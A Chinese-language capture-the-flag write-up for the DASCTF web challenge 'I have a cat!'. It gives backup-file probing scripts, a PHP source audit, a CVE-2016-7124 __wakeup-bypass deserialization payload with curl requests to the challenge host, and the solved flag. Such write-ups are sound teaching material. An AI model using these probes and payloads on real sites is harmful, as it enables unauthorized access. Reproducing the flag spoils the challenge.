DASCTF Web 题目：I have a cat! 解题全过程教程

从零思路 · 信息收集 · 代码审计 · 反序列化漏洞利用
完整对话整理

目录

1. 题目信息
2. 解题总览
3. 第一步：信息收集 —— 备份文件泄露（下载源码）
4. 第二步：代码审计 —— 读懂漏洞逻辑
5. 第三步：构造 payload —— 绕过 __wakeup
6. 第四步：URL 编码与发包
7. 最终 Flag
8. 实战记忆点总结

一、题目信息

题目地址（靶机）：

```
http://266ae065b331026b1b076178.http-ctf2.dasctf.com:80
```

页面标题为 `I have a cat!`，页面提示文字：

> 因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
> 不愧是我！！！

页面底部署名：`Syclover @ cl4y`。响应头显示服务器为 openresty，`X-Powered-By: PHP/5.3.3`。

二、解题总览

这是一道典型的**源码泄露 + PHP 反序列化**题目。核心链条：

```
看提示（"备份习惯"）
      ↓
猜/爆破常见备份文件名 → 请求 /www.zip → 返回 200（存在）
      ↓
下载 www.zip 到本地并解压 → 得到 class.php / index.php / flag.php
      ↓
读源码 → 发现 index.php 用 select 参数做 unserialize
      ↓
审计 class.php → 构造 payload → 绕过 __wakeup → 拿到 flag
```

二、第一步：信息收集 —— 备份文件泄露

1. 为什么能“直接下载”到源码?

网站服务器（Nginx / openresty）的网站根目录里放着一堆文件，它有两种处理方式：

文件类型	服务器行为	结果
`.php`	交给 PHP 解释器执行，再返回执行结果	只看到页面，看不到源码
`.zip` / `.bak` / `.txt` 等静态文件	原封不动地返回文件内容	下载到的是完整文件

所以：访问 `/index.php` 时 PHP 被执行，看不到代码；而访问 `/www.zip` 时它只是个压缩包，服务器**原样把压缩包发给你**，于是拿到源码。开发者写网站时备份了源码，但忘记把备份文件从网站目录删除，任何人输入 URL 就能下载 —— 这就是**源码泄露**。

怎么知道文件名是 www.zip?

不可能凭空知道，靠的是**猜文件名（目录/文件爆破）**：

1. 看提示—— “备份网站的习惯” → 暗示存在备份文件。
2. 套常见字典：`www.zip`、`backup.zip`、`web.zip`、`www.tar.gz`、`index.php.bak`、`index.php~`、`www.rar` 等。

探测本质就是：**循环请求一堆候选文件名，看哪个返回 200（存在）而不是 404（不存在）。**

探测脚本（PowerShell）

```
$base = "http://266ae065b331026b1b076178.http-ctf2.dasctf.com:80"
$files = @("www.zip","backup.zip","web.zip","www.tar.gz","index.php.bak","index.php~","www.rar")
foreach ($f in $files) {
  try {
    $r = Invoke-WebRequest -Uri "$base/$f" -Method Head -TimeoutSec 10 -UseBasicParsing
    Write-Output "$f => 存在 ($($r.StatusCode), $($r.Headers['Content-Length']) 字节)"
  } catch {
    Write-Output "$f => 不存在 ($($_.Exception.Response.StatusCode.value__))"
  }
}
```

结果：`www.zip => 200（存在，5941 字节）`，其余均为 404。

这段脚本的命令行含义

- `Invoke-WebRequest -Uri "http://.../www.zip"`：发一个 HTTP 请求去拿该文件，等价于在浏览器地址栏敲网址。
- `-Method Head`：只拿响应头（不下载内容），先探测是否存在。
- `$r.StatusCode`：返回码，200 = 存在，404 = 不存在。

下载并解压源码

```
$dir = "C:\Users\Z\AppData\Local\Temp\opencode\cat"
Invoke-WebRequest -Uri "http://.../www.zip" -OutFile "$dir\www.zip" -UseBasicParsing
Expand-Archive -LiteralPath "$dir\www.zip" -DestinationPath "$dir\extracted" -Force
```

解压得到：`class.php`、`flag.php`、`index.php`、`index.js`、`style.css`。

Kali / Linux 等价写法（curl）

```
base="http://266ae065b331026b1b076178.http-ctf2.dasctf.com:80"
for f in www.zip backup.zip web.zip www.tar.gz index.php.bak index.php~ www.rar; do
  code=$(curl -s -o /dev/null -w "%{http_code}" "$base/$f")
  echo "$f => $code"
done
```

专业工具（推荐，一条命令爆几百个文件名）：

```
python3 dirsearch.py -u http://目标/ -e zip,tar.gz,bak,txt
ffuf -u http://目标/FUZZ -w 字典.txt
```

“这段代码写在哪里运行”的说明

上面是 **PowerShell** 脚本，要在 PowerShell 终端运行：

- 按 `Win` 键，输入 **PowerShell**，打开后粘贴即可。
- 或在 VS Code 的终端（默认 PowerShell）里粘贴。

注意：只能粘贴纯代码，不要把说明文字一起粘进去，否则 PowerShell 会把中文当成命令而报错 “无法将...项识别为 cmdlet” 。

二、第二步：代码审计 —— 读懂漏洞逻辑

入口 index.php —— 数据从哪进来

```php
<?php
include 'class.php';          // 把 class.php 的代码引进来
$select = $_GET['select'];    // 从 URL 拿参数，比如 ?select=xxx
$res = unserialize(@$select); // 关键！把拿到的字符串"反序列化"
?>
```

概念 1：什么是“反序列化”？

PHP 里一个对象不能直接存成文字，得先“翻译”成字符串，叫 **序列化（serialize）**；反过来把字符串还原成对象叫 **反序列化（unserialize）**。

```
O:4:"Name":2:{s:14:"...username";s:5:"admin";s:14:"...password";i:100;}
```

- `O:4:"Name"`：一个对象，类名 `Name`（4 个字母）
- `:2:`：该对象有 2 个属性
- `s:长度:"内容"`：字符串属性；`i:100`：整数属性

危险点：程序把用户从 URL 传来的字符串直接 `unserialize`，等于“你发什么字符串，我就还原成什么对象”，攻击者能自己捏造对象并指定属性值。这就是 PHP 反序列化漏洞。

概念 2：@ 符号

`unserialize(@$select)` 里的 `@` 只是“出错别报错”，不影响漏洞。

class.php —— 这个对象有什么威力

```php
<?php
include 'flag.php';
error_reporting(0);

class Name{
    private $username = 'nonono';   // 私有属性：用户名
    private $password = 'yesyes';   // 私有属性：密码

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){                // 反序列化时自动执行
        $this->username = 'guest';
    }

    function __destruct(){              // 对象被销毁时自动执行
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";  echo $this->username;
            echo "</br>";  echo "You password is: ";  echo $this->password;
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;                         // 满足才给 flag!
        }else{
            echo "hello my friend~~ sorry i can't give you the flag!";
            die();
        }
    }
}
?>
```

魔术方法触发时机（背下来）

魔术方法	什么时候自动执行
`__construct`	`new Name(...)` 创建对象时
`__wakeup`	`unserialize()` 还原对象时（先触发）
`__destruct`	脚本结束、对象被销毁时（后触发）

private 私有属性：只能类内部使用；序列化时名字会带上类名，写成 \0Name\0username。

分析“通关条件”

要拿到 flag，`__destruct` 必须同时满足：

- 条件 A：`$password == 100`（因为写的是 `!= 100` 就 die）
- 条件 B：`$username === 'admin'`

发现“矛盾”——题眼的突破口

```
function __wakeup(){
    $this->username = 'guest';    // 反序列化时强行把用户名改成 guest
}
```

执行顺序：

1. `unserialize()` → 触发 `__wakeup` → 用户名被改成 **guest**
2. 脚本结束 → 触发 `__destruct` → 检查 `username === 'admin'` → 但此刻已是 guest → **失败**

就算在 payload 里写 `username=admin`，`__wakeup` 也会把它改成 guest。这是典型的“构造属性”和“魔术方法改写属性”打架。

突破口：不让 __wakeup 执行

CVE-2016-7124：在较老的 PHP 版本（<5.6.25、<7.0.10）里，如果序列化字符串中**声明的属性个数**比**实际的**多，`unserialize` 会**跳过** `__wakeup`。

- 正常：`O:4:"Name":2:{...}` → 声明 2 个，实际 2 个 → `__wakeup` 正常执行
- 攻击：`O:4:"Name":3:{...}` → 声明 3 个，实际 2 个 → `__wakeup` **被跳过**

目标服务器 `X-Powered-By: PHP/5.3.3`，版本够老，漏洞可用。

二、第三步：构造 payload —— 绕过 __wakeup

手工写出序列化字符串

想要的对象：类名 `Name`，`username=admin`，`password=100`。

PHP 序列化语法规则：

写法	含义
`O:长度:"类名":属性个数:{...}`	一个对象
`s:长度:"内容";`	一个字符串属性/值
`i:数字;`	一个整数

最终 payload：

```
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}
```

片段	含义
`O:4:"Name"`	对象，类名 Name（4 个字符）
`:3:`	**声明 3 个属性**（实际只给 2 个，绕过 __wakeup）
`{ ... }`	属性列表
`s:14:"\0Name\0username"`	属性名，字符串长度 14
`s:5:"admin"`	该属性的值
`s:14:"\0Name\0password"`	第二个属性名，长度 14
`i:100`	第二个属性的值，整数 100

两个最容易踩的坑

坑 1：为什么名字里有 \0（空字节），长度是 14?

因为 username 是 private 私有属性。PHP 序列化私有属性时写成 `空字节 + 类名 + 空字节 + 属性名`：

```
\0  Name  \0  username
 1    4    1     8      = 共 14 个字节
```

`\0` 是值为 0 的空字节，肉眼看不见，但**也算 1 个字节长度**，所以是 `s:14` 而不是 `s:8`。password 同理也是 14。

坑 2：password 为什么用 i:100 而不是 s:3:"100"?

源码条件是 `$this->password != 100`，要它等于整数 100。用 `i:100` 传整数最稳妥。长度数字必须分毫不差，写错一个数，unserialize 就会失败。

用脚本生成（最保险，不会手算错）

```php
<?php
class Name{
    private $username = 'admin';
    private $password = 100;
}
$s = serialize(new Name());                  // 生成正常序列化串
$s = str_replace('"Name":2:', '"Name":3:', $s); // 属性个数 2 改成 3（绕过 __wakeup）
echo urlencode($s);                           // 输出 URL 编码
?>
```

二、第四步：URL 编码与发包

URL 编码（percent-encoding）

原字符	编码后
`:`	`%3A`
`"`	`%22`
`{`	`%7B`
`}`	`%7D`
`;`	`%3B`
空字节 `\0`	`%00`

编码后的字符串：

```
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
```

发送请求（三种方式）

① **浏览器**：把下面 URL 粘到地址栏回车（空字节可能被吞）。

```
http://266ae065b331026b1b076178.http-ctf2.dasctf.com:80/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
```

② **curl**（推荐，稳定）：

```
curl "http://266ae065b331026b1b076178.http-ctf2.dasctf.com:80/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D"
```

③ **脚本**（能精确产生空字节，不怕手抖，见上一步 PHP 代码）。

服务器端的执行流程

1. `unserialize` 还原对象 → 因为“声明 3 个实际 2 个”，**跳过 __wakeup** → username 保持 **admin**
2. 脚本结束 → `__destruct` 触发
3. `password(100) != 100` 为假 → 不死
4. `username === 'admin'` 为真 → `echo $flag`

最终 Flag

CTF2{949dd985-bd93-4791-9088-a2471ccf45ef}

实战记忆点总结

1. **“源码泄露”是 CTF Web 的高频第一关**：看到 `.zip`、`.bak`、`.swp`、`.git`、`.DS_Store` 都去试。
2. 工具正式用法是 `dirsearch` / `ffuf` / `dirb` 配字典，一条命令爆几百个文件名。
3. 下载下来的文件各有分工：`index.php` 看入口和参数，`class.php` 看漏洞逻辑，`flag.php` 里通常只是占位假 flag（真 flag 在服务器上，必须靠漏洞打出来）。
4. PHP 代码审计：看到 `unserialize` 就立刻去找类里的 `__wakeup`、`__destruct`、`__toString` 等魔术方法，看它们能干什么、有没有矛盾、矛盾能不能绕过。
5. 反序列化的“手活”：按序列化格式精确拼字符串（长度、私有属性的 `\0` 最容易错），再 URL 编码，再作为参数发出去。

完整链条一张图

```
思路（admin + 100，绕过 wakeup）
        ↓ PHP 序列化规则
构造字符串 O:4:"Name":3:{...}
        ↓ URL 编码（注意 %00）
编码字符串
        ↓ 拼到 ?select=
发 HTTP 请求
        ↓ 服务器 unserialize
跳过 __wakeup → __destruct 判条件通过 → echo flag
```

本文档由解题对话自动整理生成 · 仅供学习 CTF 使用